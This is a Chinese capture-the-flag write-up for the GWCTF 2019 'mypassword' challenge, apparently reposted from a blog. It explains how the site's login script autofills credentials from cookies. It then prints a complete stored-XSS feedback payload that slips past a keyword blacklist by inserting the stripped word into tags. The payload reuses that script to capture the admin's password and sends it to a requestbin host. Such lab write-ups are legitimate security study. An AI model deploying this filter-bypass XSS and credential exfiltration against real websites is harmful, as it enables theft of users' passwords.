其他分享
首页 > 其他分享> > [GWCTF 2019]mypassword 利用网站本身的js和留言功能进行xss&http://http.requestbin.buuoj.cn网站的使用

[GWCTF 2019]mypassword 利用网站本身的js和留言功能进行xss&http://http.requestbin.buuoj.cn网站的使用

作者:互联网

一般限制已经登录的用户再重新登录,都会在login.php页面session_start(),判断session数组中特定的值是否存在,如果存在,就header(Location:)进行跳转,但这个login.php页面不同。

他是在login.php页面在前端用<script src="./js/login.js"></script>,调用了一个js文件(可在火狐浏览器调试器->主线程出找到),内容如下:

if (document.cookie && document.cookie != '') {
    var cookies = document.cookie.split('; ');
    var cookie = {};
    for (var i = 0; i < cookies.length; i++) {
        var arr = cookies[i].split('=');
        var key = arr[0];
        cookie[key] = arr[1];
    }
    if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
        document.getElementsByName("username")[0].value = cookie['user'];
        document.getElementsByName("password")[0].value = cookie['psw'];
    }
}

原理是用户只要登陆了,cookie里就有cookie['username']和cookie['password'],然后用javascript的语法

document.getElementsByName("username")[0].value = cookie['user'];

document.getElementsByName("password")[0].value = cookie['psw'];

 

 来自动填充表单数据。

但是后端肯定还是用了header跳转,因为虽然填了表单,但没自动发送

但是,这却非常适合xss

只要我们写留言,就按前端代码的格式写,用户查看留言的时候留言的代码会嵌入到前端代码里执行。

留言的内容大概是两个<input>标签,分别是username和password,然后<script src=./js/login.js></script>

因为管理员查看的时候肯定是有cookie的,就会填充到两个input,然后用javasript的代码获取<input>的value,再用javascript代码

document.location="http://http.requestbin.buuoj.cn/xxxxxx/?a="+pwd;

 

 发送到平台上(http.requestbin.buuoj.cn可以看向它请求的http包)

具体留言内容:(feedback.php页面前端注释给出了黑名单数组,黑名单里的字符串会被替换为空,这里是利用黑名单会被替换为空就行绕过,如incookieput)

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var pwd = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/xxx/?a="+pwd;
</scrcookieipt>

 

在平台上查看http报文获取flag

 

标签:xss,password,http,网站,value,cookie,var,document
来源: https://www.cnblogs.com/hackerone/p/16519348.html